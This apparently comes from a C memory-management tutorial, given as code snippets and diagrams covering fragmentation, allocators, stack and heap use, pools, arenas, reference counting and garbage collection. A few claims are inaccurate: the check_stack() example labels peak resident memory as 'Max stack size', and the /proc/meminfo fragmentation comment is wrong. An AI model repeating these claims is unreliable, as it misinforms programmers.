// [A:100][B:100][       800 bytes free              ]

char* c = malloc(100);
// [A:100][B:100][C:100][  700 bytes free           ]

free(b);
// [A:100][100 free][C:100][  700 bytes free        ]

// Now we have 800 bytes free total (100 + 700)
// But cannot allocate a 200-byte block!
char* d = malloc(200);  // Might fail or require compaction

Memory State:
[Allocated][Free:100][Allocated][Free:700]
            ↑                     ↑
            Small hole           Larger hole

Cannot satisfy 200-byte request despite having 800 bytes free!

External Fragmentation = 1 - (Largest Free Block / Total Free Memory)

Example: 1 - (700 / 800) = 12.5%

// Poor size classes (power of 2)
// 8, 16, 32, 64, 128, 256...
// Requesting 65 bytes wastes 63 bytes (49%)

// Better size classes (more granular)
// 8, 12, 16, 24, 32, 48, 64, 96, 128...
// Requesting 65 bytes wastes 31 bytes (32%)

// For known sizes, avoid overhead
struct Object {
    // Design to fit size class
    int data[6];  // 24 bytes - fits 32-byte class well
};

// Pool allocator for fixed-size objects
// Zero internal fragmentation
struct Pool {
    void* free_list;
    size_t object_size;
};

Initial: [              128 bytes              ]

Request 16 bytes:
Split:   [      64      ][      64      ]
Split:   [  32  ][  32  ][      64      ]
Split:   [16][16][  32  ][      64      ]
Allocate:[A ][ F][  F   ][      F       ]

Request 32 bytes:
Allocate:[A ][ F][  B   ][      F       ]

Free A:
State:   [ F][ F][  B   ][      F       ]
Merge:   [  F   ][  B   ][      F       ]

Free B:
State:   [  F   ][  F   ][      F       ]
Merge:   [              F              ]

// Find smallest block that fits request
// Minimizes wasted space
void* best_fit(size_t size, struct FreeList* list) {
    struct Block* best = NULL;
    size_t best_size = SIZE_MAX;

    for (struct Block* b = list->head; b; b = b->next) {
        if (b->size >= size && b->size < best_size) {
            best = b;
            best_size = b->size;
        }
    }
    return best;
}

// Use first block that fits
// Faster than best-fit
void* first_fit(size_t size, struct FreeList* list) {
    for (struct Block* b = list->head; b; b = b->next) {
        if (b->size >= size) {
            return b;
        }
    }
    return NULL;
}

Before:
[A][Free][B][Free][C][Free]

After compaction:
[A][B][C][        Free       ]

struct Allocator {
    struct FreeList* lists[NUM_SIZE_CLASSES];
};

// Size classes: 16, 32, 64, 128, 256, 512, 1024, 2048...
void* allocate(struct Allocator* alloc, size_t size) {
    int class = size_class(size);
    if (alloc->lists[class]->head) {
        return allocate_from_list(alloc->lists[class]);
    }
    // Fall back to larger class or request from OS
}

Size Class Ranges:
- Small: 8, 16, 32, 48, 64, 80, 96, 112, 128... (up to 14 KB)
  → Segregated free lists, thread-local caching

- Large: 16 KB, 32 KB, 48 KB... (up to 4 MB)
  → Best-fit allocation

- Huge: > 4 MB
  → Direct mmap() calls

Arenas:
- Multiple per thread to reduce contention
- Each arena has own metadata

Result:
- Low fragmentation (typically < 10%)
- Good performance

$ cat /proc/meminfo | grep Frag
# Shows fragmentation index (0 = no fragmentation, 1 = max)

#include <malloc.h>

struct mallinfo info = mallinfo();
printf("Total allocated: %d\n", info.uordblks);
printf("Total free: %d\n", info.fordblks);
printf("Fragmentation: %.2f%%\n",
       100.0 * info.fordblks / (info.uordblks + info.fordblks));

size_t total_requested = 0;
size_t total_allocated = 0;

void* my_malloc(size_t size) {
    size_t actual = round_up(size);
    total_requested += size;
    total_allocated += actual;

    double internal_frag = 100.0 * (total_allocated - total_requested)
                                 / total_allocated;
    printf("Internal fragmentation: %.2f%%\n", internal_frag);

    return malloc(actual);
}

// Initialized global (data segment)
int global_counter = 0;

// Uninitialized global (BSS segment)
int global_array[1000];

void function() {
    global_counter++;  // Direct access, very fast
}

void function() {
    // Initialized once, persists across calls
    static int call_count = 0;
    call_count++;

    printf("Called %d times\n", call_count);
}

// First call: "Called 1 times"
// Second call: "Called 2 times"

// String literal in read-only data segment
const char* message = "Hello, World!";

// Array initialized with string literal
char buffer[] = "Hello";  // Mutable copy on stack

// Large lookup table
static const int fibonacci[20] = {
    0, 1, 1, 2, 3, 5, 8, 13, 21, 34,
    55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181
};

int get_fibonacci(int n) {
    return fibonacci[n];  // O(1) lookup
}

// Static: no allocation overhead
static int cache[1000];

// vs Dynamic: allocation overhead every time
int* cache = malloc(1000 * sizeof(int));

// No need to manage lifetime
static const char* error_messages[] = {
    "Success",
    "File not found",
    "Permission denied",
    "Out of memory"
};

// BSS guarantees zero-initialization
static int counters[100];  // All zeros
static char buffer[1024];  // All zeros

// Always allocated, even if never used
static char huge_buffer[1000000];  // 1 MB always consumed

void rarely_called_function() {
    // This buffer exists even if function never called
}

// Must define maximum size at compile time
#define MAX_USERS 1000
static struct User users[MAX_USERS];

// Cannot grow beyond MAX_USERS

// Global state is shared across threads
static int counter = 0;

void increment() {
    counter++;  // Race condition!
}

// Solution: use thread-local storage
_Thread_local int counter = 0;  // C11
// or
thread_local int counter = 0;    // C++11

static const unsigned char reverse_bits[256] = {
    0x00, 0x80, 0x40, 0xC0, 0x20, 0xA0, 0x60, 0xE0,
    // ... precomputed values
};

unsigned char reverse(unsigned char b) {
    return reverse_bits[b];
}

struct Logger* get_logger() {
    static struct Logger instance = {0};
    static int initialized = 0;

    if (!initialized) {
        logger_init(&instance);
        initialized = 1;
    }

    return &instance;
}

const char* get_version() {
    return "1.0.0";  // String literal (static)
}

enum State { START, RUNNING, STOPPED };

void state_machine() {
    static enum State current = START;

    switch (current) {
        case START:
            // ...
            current = RUNNING;
            break;
        case RUNNING:
            // ...
            break;
        case STOPPED:
            // ...
            break;
    }
}

void function() {
    int x = 42;              // 4 bytes on stack
    char buffer[100];        // 100 bytes on stack
    double values[10];       // 80 bytes on stack

    struct Point {
        int x, y;
    } p = {1, 2};           // 8 bytes on stack

}  // All automatically freed here

void process(int n) {
    // Stack-allocated array with runtime size
    int array[n];  // VLA

    for (int i = 0; i < n; i++) {
        array[i] = i * i;
    }

}  // array automatically freed

// Warning: Dangerous for large n (stack overflow)
process(1000000);  // May crash!

#include <alloca.h>

void function(size_t n) {
    // Allocate n bytes on stack
    char* buffer = alloca(n);

    // Use buffer...
    memset(buffer, 0, n);

}  // buffer automatically freed

// Warning: Same dangers as VLA

// DANGEROUS: unbounded stack growth
for (int i = 0; i < n; i++) {
    char* buf = alloca(1000);  // Stack grows each iteration!
    // Memory not freed until function returns!
}

Stack allocation: ~1 nanosecond
Heap allocation: ~100 nanoseconds
Ratio: 100x faster!

void function() {
    char buffer[1024];

    if (error_condition) {
        return;  // buffer automatically cleaned up
    }

    // Use buffer...

}  // buffer automatically cleaned up

// Stack-allocated data has good locality
void process() {
    int a = 1;
    int b = 2;
    int c = 3;
    // a, b, c likely in same cache line
}

// Stack pointer just moves up/down
// No fragmentation issues

# Check stack size limit (Linux)
$ ulimit -s
8192  # 8 MB default

# Set larger stack size
$ ulimit -s 16384  # 16 MB

// Stack overflow example
void recursive(int n) {
    char buffer[1024];  // 1 KB per call
    recursive(n + 1);   // Eventually crashes
}

char* create_string() {
    char buffer[100] = "Hello";
    return buffer;  // BUG! Returning pointer to stack memory
}

// Usage:
char* str = create_string();
printf("%s\n", str);  // Undefined behavior!

void function(int n) {
    // Can't do this (without VLA):
    // int array[n];  // Not allowed in C++

    // Must use heap:
    int* array = new int[n];
    // ...
    delete[] array;
}

// Good: small buffer, short lifetime
void process_line(const char* line) {
    char buffer[256];
    strncpy(buffer, line, 255);
    buffer[255] = '\0';
    // Process buffer...
}

// Bad: large stack allocation
void bad() {
    char buffer[1000000];  // 1 MB - risky!
}

// Good: use heap
void good() {
    char* buffer = malloc(1000000);
    if (!buffer) {
        // Handle error
        return;
    }
    // Use buffer...
    free(buffer);
}

// Bad
char* get_message() {
    char buffer[100] = "Hello";
    return buffer;  // Dangling pointer!
}

// Good: return string literal (static)
const char* get_message() {
    return "Hello";
}

// Good: use heap
char* get_message() {
    char* buffer = malloc(100);
    strcpy(buffer, "Hello");
    return buffer;  // Caller must free()
}

// Good: use output parameter
void get_message(char* buffer, size_t size) {
    strncpy(buffer, "Hello", size - 1);
    buffer[size - 1] = '\0';
}

#include <sys/resource.h>

void check_stack() {
    struct rusage usage;
    getrusage(RUSAGE_SELF, &usage);
    printf("Max stack size: %ld KB\n", usage.ru_maxrss);
}

#include <stdlib.h>

// Allocate
int* ptr = malloc(sizeof(int) * 10);
if (!ptr) {
    // Handle allocation failure
    return;
}

// Use
ptr[0] = 42;

// Free
free(ptr);
ptr = NULL;  // Avoid dangling pointer

// Allocate single object
int* ptr = new int(42);
delete ptr;

// Allocate array
int* arr = new int[10];
delete[] arr;

// Modern C++: use smart pointers instead
std::unique_ptr<int> ptr = std::make_unique<int>(42);
std::unique_ptr<int[]> arr = std::make_unique<int[]>(10);
// Automatic cleanup

void* malloc(size_t size);

// Allocates uninitialized memory
int* ptr = malloc(sizeof(int) * 100);
// Memory contains garbage values

void* calloc(size_t count, size_t size);

// Allocates zero-initialized memory
int* ptr = calloc(100, sizeof(int));
// All elements are 0

// malloc: faster (no initialization)
int* a = malloc(1000000 * sizeof(int));

// calloc: slower (zeros memory)
int* b = calloc(1000000, sizeof(int));

void* realloc(void* ptr, size_t new_size);

// Resize allocation
int* ptr = malloc(sizeof(int) * 10);
// ...
ptr = realloc(ptr, sizeof(int) * 20);  // Grow to 20 elements

if (!ptr) {
    // realloc failed, original pointer still valid
    // (unless ptr was NULL)
}

// 1. new_size > old_size: may move and copy data
// 2. new_size < old_size: may shrink in place
// 3. new_size == 0: equivalent to free()
// 4. ptr == NULL: equivalent to malloc()

// Example: growing array
int* arr = NULL;
size_t capacity = 0;

for (int i = 0; i < 100; i++) {
    if (i >= capacity) {
        capacity = capacity ? capacity * 2 : 1;
        int* new_arr = realloc(arr, capacity * sizeof(int));
        if (!new_arr) {
            free(arr);
            return;  // Handle error
        }
        arr = new_arr;
    }
    arr[i] = i;
}

void free(void* ptr);

// Free allocated memory
int* ptr = malloc(sizeof(int));
free(ptr);

// Safe to free NULL
free(NULL);  // No-op

// Double-free is undefined behavior
free(ptr);
free(ptr);  // BUG!

// Best practice: NULL after free
free(ptr);
ptr = NULL;

void* aligned_alloc(size_t alignment, size_t size);

// Allocate with specific alignment
// size must be multiple of alignment
void* ptr = aligned_alloc(64, 128);  // 64-byte aligned, 128 bytes
free(ptr);

int posix_memalign(void** ptr, size_t alignment, size_t size);

void* ptr;
if (posix_memalign(&ptr, 64, 128) != 0) {
    // Handle error
}
free(ptr);

struct Node {
    int data;
    struct Node* next;
};

struct Node* create_node(int data) {
    struct Node* node = malloc(sizeof(struct Node));
    if (node) {
        node->data = data;
        node->next = NULL;
    }
    return node;
}

struct String {
    size_t length;
    char* data;
};

struct String* create_string(const char* str) {
    struct String* s = malloc(sizeof(struct String));
    if (!s) return NULL;

    s->length = strlen(str);
    s->data = malloc(s->length + 1);
    if (!s->data) {
        free(s);
        return NULL;
    }

    strcpy(s->data, str);
    return s;
}

void free_string(struct String* s) {
    if (s) {
        free(s->data);
        free(s);
    }
}

struct Buffer {
    size_t size;
    char data[];  // Flexible array member
};

struct Buffer* create_buffer(size_t size) {
    // Allocate structure + array in one block
    struct Buffer* buf = malloc(sizeof(struct Buffer) + size);
    if (buf) {
        buf->size = size;
    }
    return buf;
}

void free_buffer(struct Buffer* buf) {
    free(buf);  // Single free for both struct and array
}

struct DynamicArray {
    int* data;
    size_t size;
    size_t capacity;
};

void push_back(struct DynamicArray* arr, int value) {
    if (arr->size >= arr->capacity) {
        size_t new_capacity = arr->capacity ? arr->capacity * 2 : 1;
        int* new_data = realloc(arr->data, new_capacity * sizeof(int));
        if (!new_data) {
            // Handle error
            return;
        }
        arr->data = new_data;
        arr->capacity = new_capacity;
    }
    arr->data[arr->size++] = value;
}

jemalloc size classes (examples):
Small: 8, 16, 24, 32, 48, 64, 80, 96, 112, 128...
Large: 4K, 8K, 12K, 16K, 20K, 24K...
Huge: > 4MB (direct mmap)

// Request 17 bytes → get 24 bytes (from 24-byte class)
char* small = malloc(17);  // 7 bytes wasted

// Request 4097 bytes → get 8K (from 8K class)
char* medium = malloc(4097);  // ~4K wasted!

// Request 10 MB → direct mmap, exact size
char* large = malloc(10 * 1024 * 1024);

// Each allocation has metadata overhead
struct BlockHeader {
    size_t size;
    int flags;
    // Maybe more fields
};  // Typically 8-16 bytes

// So allocating 1 byte actually uses ~16 bytes!
char* tiny = malloc(1);  // 1 byte + 16 byte overhead = 17 bytes

// Bad: many small allocations
for (int i = 0; i < 1000; i++) {
    int* p = malloc(sizeof(int));  // 1000 allocations
}

// Good: single large allocation
int* array = malloc(sizeof(int) * 1000);  // 1 allocation

Memory Pool:
[Free][Free][Free][Used][Free][Used][Used][Free]
  ↓
Free List: → [0] → [1] → [2] → [4] → [7] → NULL

#define POOL_SIZE 1000
#define OBJECT_SIZE sizeof(struct Object)

struct Pool {
    void* memory;
    void* free_list;
    size_t object_size;
    size_t capacity;
};

struct FreeNode {
    struct FreeNode* next;
};

// Initialize pool
struct Pool* pool_create(size_t object_size, size_t capacity) {
    struct Pool* pool = malloc(sizeof(struct Pool));
    if (!pool) return NULL;

    pool->memory = malloc(object_size * capacity);
    if (!pool->memory) {
        free(pool);
        return NULL;
    }

    pool->object_size = object_size;
    pool->capacity = capacity;

    // Build free list
    pool->free_list = pool->memory;
    char* ptr = pool->memory;
    for (size_t i = 0; i < capacity - 1; i++) {
        struct FreeNode* node = (struct FreeNode*)ptr;
        node->next = (struct FreeNode*)(ptr + object_size);
        ptr += object_size;
    }
    ((struct FreeNode*)ptr)->next = NULL;

    return pool;
}

// Allocate from pool
void* pool_alloc(struct Pool* pool) {
    if (!pool->free_list) {
        return NULL;  // Pool exhausted
    }

    void* ptr = pool->free_list;
    pool->free_list = ((struct FreeNode*)ptr)->next;
    return ptr;
}

// Free back to pool
void pool_free(struct Pool* pool, void* ptr) {
    struct FreeNode* node = (struct FreeNode*)ptr;
    node->next = pool->free_list;
    pool->free_list = node;
}

// Destroy pool
void pool_destroy(struct Pool* pool) {
    free(pool->memory);
    free(pool);
}

struct Node {
    int data;
    struct Node* left;
    struct Node* right;
};

int main() {
    // Create pool for 1000 nodes
    struct Pool* node_pool = pool_create(sizeof(struct Node), 1000);

    // Allocate nodes from pool (very fast!)
    struct Node* n1 = pool_alloc(node_pool);
    struct Node* n2 = pool_alloc(node_pool);
    struct Node* n3 = pool_alloc(node_pool);

    n1->data = 1;
    n1->left = n2;
    n1->right = n3;

    // Free nodes back to pool
    pool_free(node_pool, n1);
    pool_free(node_pool, n2);
    pool_free(node_pool, n3);

    // Destroy pool
    pool_destroy(node_pool);

    return 0;
}

// Benchmark: malloc vs pool allocation

// Using malloc
clock_t start = clock();
for (int i = 0; i < 1000000; i++) {
    void* p = malloc(32);
    free(p);
}
clock_t malloc_time = clock() - start;

// Using pool
struct Pool* pool = pool_create(32, 1000000);
start = clock();
void* pointers[1000000];
for (int i = 0; i < 1000000; i++) {
    pointers[i] = pool_alloc(pool);
}
for (int i = 0; i < 1000000; i++) {
    pool_free(pool, pointers[i]);
}
clock_t pool_time = clock() - start;

printf("malloc: %f seconds\n", (double)malloc_time / CLOCKS_PER_SEC);
printf("pool: %f seconds\n", (double)pool_time / CLOCKS_PER_SEC);
printf("Speedup: %.2fx\n", (double)malloc_time / pool_time);

// Typical result: 10-50x faster!

Arena:
[Allocation 1][Allocation 2][Allocation 3][  Free Space  ]
                                           ↑
                                         Current position

Free all at once:
[                    All Free                            ]

struct Arena {
    char* buffer;
    size_t size;
    size_t used;
};

// Create arena
struct Arena* arena_create(size_t size) {
    struct Arena* arena = malloc(sizeof(struct Arena));
    if (!arena) return NULL;

    arena->buffer = malloc(size);
    if (!arena->buffer) {
        free(arena);
        return NULL;
    }

    arena->size = size;
    arena->used = 0;

    return arena;
}

// Allocate from arena
void* arena_alloc(struct Arena* arena, size_t size) {
    // Align to 8-byte boundary
    size_t aligned_size = (size + 7) & ~7;

    if (arena->used + aligned_size > arena->size) {
        return NULL;  // Arena full
    }

    void* ptr = arena->buffer + arena->used;
    arena->used += aligned_size;

    return ptr;
}

// Reset arena (free all allocations)
void arena_reset(struct Arena* arena) {
    arena->used = 0;
}

// Destroy arena
void arena_destroy(struct Arena* arena) {
    free(arena->buffer);
    free(arena);
}

void process_request(struct Request* request) {
    // Create arena for this request
    struct Arena* arena = arena_create(1024 * 1024);  // 1 MB

    // Allocate temporary data from arena
    char* buffer = arena_alloc(arena, 4096);
    struct Parser* parser = arena_alloc(arena, sizeof(struct Parser));
    struct AST* ast = arena_alloc(arena, sizeof(struct AST));

    // Process request using allocated data
    parse_request(parser, request, buffer);
    build_ast(ast, parser);
    execute_ast(ast);

    // Free everything at once!
    arena_destroy(arena);
    // No need to free buffer, parser, ast individually
}

struct ArenaBlock {
    char* buffer;
    size_t size;
    size_t used;
    struct ArenaBlock* next;
};

struct GrowingArena {
    struct ArenaBlock* current;
    size_t default_block_size;
};

struct GrowingArena* growing_arena_create(size_t default_size) {
    struct GrowingArena* arena = malloc(sizeof(struct GrowingArena));
    if (!arena) return NULL;

    arena->default_block_size = default_size;
    arena->current = calloc(1, sizeof(struct ArenaBlock));
    if (!arena->current) {
        free(arena);
        return NULL;
    }

    arena->current->buffer = malloc(default_size);
    if (!arena->current->buffer) {
        free(arena->current);
        free(arena);
        return NULL;
    }

    arena->current->size = default_size;
    arena->current->used = 0;
    arena->current->next = NULL;

    return arena;
}

void* growing_arena_alloc(struct GrowingArena* arena, size_t size) {
    size_t aligned_size = (size + 7) & ~7;

    // Try current block
    if (arena->current->used + aligned_size <= arena->current->size) {
        void* ptr = arena->current->buffer + arena->current->used;
        arena->current->used += aligned_size;
        return ptr;
    }

    // Need new block
    size_t block_size = arena->default_block_size;
    if (aligned_size > block_size) {
        block_size = aligned_size;
    }

    struct ArenaBlock* new_block = calloc(1, sizeof(struct ArenaBlock));
    if (!new_block) return NULL;

    new_block->buffer = malloc(block_size);
    if (!new_block->buffer) {
        free(new_block);
        return NULL;
    }

    new_block->size = block_size;
    new_block->used = aligned_size;
    new_block->next = arena->current;
    arena->current = new_block;

    return new_block->buffer;
}

void growing_arena_destroy(struct GrowingArena* arena) {
    struct ArenaBlock* block = arena->current;
    while (block) {
        struct ArenaBlock* next = block->next;
        free(block->buffer);
        free(block);
        block = next;
    }
    free(arena);
}

// Benchmark: malloc vs arena

// Using malloc (must track and free each allocation)
clock_t start = clock();
char* pointers[10000];
for (int i = 0; i < 10000; i++) {
    pointers[i] = malloc(100);
}
for (int i = 0; i < 10000; i++) {
    free(pointers[i]);
}
clock_t malloc_time = clock() - start;

// Using arena
start = clock();
struct Arena* arena = arena_create(10000 * 100);
for (int i = 0; i < 10000; i++) {
    arena_alloc(arena, 100);
}
arena_destroy(arena);  // Free all at once!
clock_t arena_time = clock() - start;

printf("malloc: %f seconds\n", (double)malloc_time / CLOCKS_PER_SEC);
printf("arena: %f seconds\n", (double)arena_time / CLOCKS_PER_SEC);
printf("Speedup: %.2fx\n", (double)malloc_time / arena_time);

// Typical result: 5-20x faster!

void handle_http_request(struct Request* req) {
    struct Arena* arena = arena_create(1024 * 1024);

    // Parse headers (allocates from arena)
    struct Headers* headers = parse_headers(arena, req);

    // Parse body (allocates from arena)
    struct Body* body = parse_body(arena, req);

    // Generate response (allocates from arena)
    struct Response* response = generate_response(arena, headers, body);

    // Send response
    send_response(response);

    // Free everything!
    arena_destroy(arena);
}

void compile(const char* source) {
    // Lexing phase
    struct Arena* lex_arena = arena_create(1024 * 1024);
    struct Token* tokens = lex(lex_arena, source);

    // Parsing phase
    struct Arena* parse_arena = arena_create(1024 * 1024);
    struct AST* ast = parse(parse_arena, tokens);
    arena_destroy(lex_arena);  // Don't need tokens anymore

    // Code generation
    struct Arena* codegen_arena = arena_create(1024 * 1024);
    struct Code* code = codegen(codegen_arena, ast);
    arena_destroy(parse_arena);  // Don't need AST anymore

    // Emit code
    emit(code);
    arena_destroy(codegen_arena);
}

void game_loop() {
    struct Arena* frame_arena = arena_create(10 * 1024 * 1024);

    while (running) {
        // Allocate temporary data for this frame
        struct RenderList* render_list = arena_alloc(frame_arena, sizeof(*render_list));
        struct Input* input = arena_alloc(frame_arena, sizeof(*input));

        // Process frame
        process_input(input);
        update_game_state(input);
        build_render_list(render_list);
        render(render_list);

        // Reset arena for next frame
        arena_reset(frame_arena);
    }

    arena_destroy(frame_arena);
}

struct ArenaSave {
    size_t used;
};

// Save arena state
struct ArenaSave arena_save(struct Arena* arena) {
    return (struct ArenaSave){ .used = arena->used };
}

// Restore arena state (free allocations since save)
void arena_restore(struct Arena* arena, struct ArenaSave save) {
    arena->used = save.used;
}

// Usage:
void function() {
    struct ArenaSave save = arena_save(arena);

    // Make temporary allocations
    char* temp1 = arena_alloc(arena, 100);
    char* temp2 = arena_alloc(arena, 200);

    // Use temporaries...

    // Restore (free temp1 and temp2)
    arena_restore(arena, save);
}

Object: [data][ref_count=0]
         ↑
         |(create)
Object: [data][ref_count=1]
         ↑     ↑
         |     |(add reference)
Object: [data][ref_count=2]
         ↑
         |(remove reference)
Object: [data][ref_count=1]
         ↑
         |(remove reference)
Object: [data][ref_count=0] → FREE!

struct RefCounted {
    void* data;
    size_t ref_count;
    void (*destructor)(void*);
};

// Create object with ref_count = 1
struct RefCounted* rc_create(void* data, void (*destructor)(void*)) {
    struct RefCounted* obj = malloc(sizeof(struct RefCounted));
    if (!obj) return NULL;

    obj->data = data;
    obj->ref_count = 1;
    obj->destructor = destructor;

    return obj;
}

// Increment reference count
void rc_retain(struct RefCounted* obj) {
    if (obj) {
        obj->ref_count++;
    }
}

// Decrement reference count; free if reaches 0
void rc_release(struct RefCounted* obj) {
    if (!obj) return;

    obj->ref_count--;

    if (obj->ref_count == 0) {
        if (obj->destructor) {
            obj->destructor(obj->data);
        }
        free(obj);
    }
}

// Usage example
void example() {
    // Create object (ref_count = 1)
    struct RefCounted* obj = rc_create(strdup("Hello"), free);

    // Share object (ref_count = 2)
    struct RefCounted* obj2 = obj;
    rc_retain(obj2);

    // Release first reference (ref_count = 1)
    rc_release(obj);

    // Release second reference (ref_count = 0, freed!)
    rc_release(obj2);
}

import sys

# Create object (ref_count = 1)
a = [1, 2, 3]
print(sys.getrefcount(a))  # 2 (1 + 1 for the argument to getrefcount)

# Add reference (ref_count = 2)
b = a
print(sys.getrefcount(a))  # 3

# Remove reference (ref_count = 1)
del b
print(sys.getrefcount(a))  # 2

# Remove last reference (ref_count = 0, freed!)
del a

// From Python's object.h (simplified)
typedef struct _object {
    Py_ssize_t ob_refcnt;  // Reference count
    struct _typeobject *ob_type;
} PyObject;

// Increment reference
#define Py_INCREF(op) ((void)(((PyObject*)(op))->ob_refcnt++))

// Decrement reference; free if 0
#define Py_DECREF(op) \
    do { \
        PyObject *_py_decref_tmp = (PyObject *)(op); \
        if (--(_py_decref_tmp)->ob_refcnt == 0) \
            _Py_Dealloc(_py_decref_tmp); \
    } while (0)

class Person {
    var name: String
    init(name: String) { self.name = name }
    deinit { print("\(name) is being deinitialized") }
}

do {
    let person1 = Person(name: "John")  // ref_count = 1
    let person2 = person1                // ref_count = 2
}  // Scope ends: ref_count = 0, deinit called

do {
    let person1 = Person(name: "John")
    swift_retain(person1)  // Inserted by compiler

    let person2 = person1
    swift_retain(person2)  // Inserted by compiler

    swift_release(person2)  // Inserted by compiler
    swift_release(person1)  // Inserted by compiler
}

// Every pointer assignment requires ref count update
obj->field = new_value;  // Becomes:
rc_release(obj->field);
obj->field = new_value;
rc_retain(obj->field);

// Cache pressure from updating ref counts
// False sharing in multithreaded code

struct Node {
    struct RefCounted* parent;
    struct RefCounted* child;
};

// Create cycle
struct RefCounted* node1 = rc_create(...);
struct RefCounted* node2 = rc_create(...);

((struct Node*)node1->data)->child = node2;
rc_retain(node2);  // node2 ref_count = 2

((struct Node*)node2->data)->parent = node1;
rc_retain(node1);  // node1 ref_count = 2

// Release external references
rc_release(node1);  // node1 ref_count = 1 (still referenced by node2)
rc_release(node2);  // node2 ref_count = 1 (still referenced by node1)

// MEMORY LEAK! Both objects keep each other alive

node1 [ref_count=1] → node2 [ref_count=1]
  ↑                     ↓
  └─────────────────────┘

Cannot be freed because ref_count > 0 for both!

class Node {
    var value: Int
    var children: [Node] = []
    weak var parent: Node?  // Weak reference doesn't increment ref_count
}

let parent = Node(value: 1)     // ref_count = 1
let child = Node(value: 2)      // ref_count = 1
child.parent = parent           // parent ref_count still 1 (weak!)
parent.children.append(child)   // child ref_count = 2

// When parent goes out of scope:
// parent ref_count = 0, freed
// child.parent automatically becomes nil
// child ref_count = 1

# Create cycle
class Node:
    pass

a = Node()
b = Node()
a.ref = b  # b ref_count = 2
b.ref = a  # a ref_count = 2

del a  # a ref_count = 1
del b  # b ref_count = 1

# Cycle detector (runs periodically) finds and breaks cycle

// Simplified algorithm
1. Find all objects with ref_count > 0
2. Subtract internal references (between tracked objects)
3. Objects with effective ref_count = 0 are in cycles
4. Free them

{
    std::shared_ptr<int> ptr1 = std::make_shared<int>(42);  // ref_count = 1
    std::shared_ptr<int> ptr2 = ptr1;                        // ref_count = 2
    ptr1.reset();                                            // ref_count = 1
}  // ptr2 destroyed, ref_count = 0, memory freed

interface IUnknown {
    virtual ULONG AddRef() = 0;
    virtual ULONG Release() = 0;
};

// Usage
IFoo* foo = CreateFoo();  // ref_count = 1
foo->AddRef();             // ref_count = 2
foo->Release();            // ref_count = 1
foo->Release();            // ref_count = 0, freed

1. Start from root set (globals, stack variables, registers)
2. Traverse object graph, marking each reachable object
3. Use depth-first or breadth-first search

1. Scan entire heap
2. Free unmarked objects
3. Reset marks for next collection

Initial State:
Root → [A] → [B] → [C]
       ↓
      [D]     [E]  [F] → [G]

Objects: A, B, C, D reachable from root
Objects: E, F, G unreachable (garbage)

After Mark Phase:
Root → [A]* → [B]* → [C]*
       ↓
      [D]*    [E]  [F] → [G]

(*= marked)

After Sweep Phase:
Root → [A] → [B] → [C]
       ↓
      [D]

E, F, G freed

#define MARK_BIT 0x1

struct Object {
    struct Object* next;      // For linking in heap list
    unsigned flags;           // MARK_BIT stored here
    void* data;
    size_t size;
    struct Object** refs;     // Pointers to other objects
    size_t num_refs;
};

struct GC {
    struct Object* heap;      // All allocated objects
    struct Object** roots;    // Root set
    size_t num_roots;
};

// Mark phase: recursively mark reachable objects
void gc_mark(struct Object* obj) {
    if (!obj || (obj->flags & MARK_BIT)) {
        return;  // Already marked
    }

    obj->flags |= MARK_BIT;  // Mark this object

    // Recursively mark referenced objects
    for (size_t i = 0; i < obj->num_refs; i++) {
        gc_mark(obj->refs[i]);
    }
}

// Sweep phase: free unmarked objects
void gc_sweep(struct GC* gc) {
    struct Object** obj_ptr = &gc->heap;

    while (*obj_ptr) {
        struct Object* obj = *obj_ptr;

        if (!(obj->flags & MARK_BIT)) {
            // Unmarked - remove from list and free
            *obj_ptr = obj->next;
            free(obj->data);
            free(obj->refs);
            free(obj);
        } else {
            // Marked - clear mark for next cycle
            obj->flags &= ~MARK_BIT;
            obj_ptr = &obj->next;
        }
    }
}

// Full garbage collection
void gc_collect(struct GC* gc) {
    // Mark phase
    for (size_t i = 0; i < gc->num_roots; i++) {
        gc_mark(gc->roots[i]);
    }

    // Sweep phase
    gc_sweep(gc);
}

void gc_mark_iterative(struct Object* root) {
    // Use explicit stack
    struct Object** stack = malloc(sizeof(struct Object*) * 1000);
    int top = 0;

    stack[top++] = root;

    while (top > 0) {
        struct Object* obj = stack[--top];

        if (!obj || (obj->flags & MARK_BIT)) {
            continue;
        }

        obj->flags |= MARK_BIT;

        // Push children onto stack
        for (size_t i = 0; i < obj->num_refs; i++) {
            if (top < 1000) {  // Prevent overflow
                stack[top++] = obj->refs[i];
            }
        }
    }

    free(stack);
}

// Don't sweep all at once
// Sweep incrementally during allocations
void* gc_alloc_with_lazy_sweep(struct GC* gc, size_t size) {
    // Sweep a few objects
    for (int i = 0; i < 10; i++) {
        if (gc->sweep_pos) {
            // Sweep one object
            gc->sweep_pos = gc->sweep_pos->next;
        }
    }

    // Then allocate
    return allocate(size);
}

void* gc_alloc(struct GC* gc, size_t size) {
    void* ptr = try_allocate(size);

    if (!ptr) {
        // Out of memory - collect garbage
        gc_collect(gc);
        ptr = try_allocate(size);
    }

    return ptr;
}

void main_loop() {
    static int alloc_count = 0;

    while (1) {
        do_work();

        if (++alloc_count > 1000) {
            gc_collect(&gc);
            alloc_count = 0;
        }
    }
}

// Explicit collection call
gc_collect(&gc);

Initial:
- All objects are WHITE
- Roots are GRAY

While GRAY objects exist:
1. Pick a GRAY object
2. Mark it BLACK
3. Mark its WHITE children GRAY

After marking:
- BLACK objects are reachable (keep)
- WHITE objects are unreachable (collect)

Initial State:
ROOT → [A] → [B] → [C]
       ↓
      [D]     [E]

All objects WHITE

Step 1: Mark roots GRAY
ROOT → [A:GRAY] → [B:WHITE] → [C:WHITE]
       ↓
      [D:WHITE]    [E:WHITE]

Step 2: Process A (GRAY → BLACK, mark children GRAY)
ROOT → [A:BLACK] → [B:GRAY] → [C:WHITE]
       ↓
      [D:GRAY]     [E:WHITE]

Step 3: Process B (GRAY → BLACK, mark children GRAY)
ROOT → [A:BLACK] → [B:BLACK] → [C:GRAY]
       ↓
      [D:GRAY]     [E:WHITE]

Step 4: Process D (GRAY → BLACK, no children)
ROOT → [A:BLACK] → [B:BLACK] → [C:GRAY]
       ↓
      [D:BLACK]    [E:WHITE]

Step 5: Process C (GRAY → BLACK, no children)
ROOT → [A:BLACK] → [B:BLACK] → [C:BLACK]
       ↓
      [D:BLACK]    [E:WHITE]

Done! E is WHITE → collect it

enum Color { WHITE, GRAY, BLACK };

struct Object {
    enum Color color;
    void* data;
    struct Object** refs;
    size_t num_refs;
    struct Object* next;
};

struct GC {
    struct Object* all_objects;
    struct Object* gray_list;  // Work list
    struct Object** roots;
    size_t num_roots;
};

// Initialize all objects to WHITE
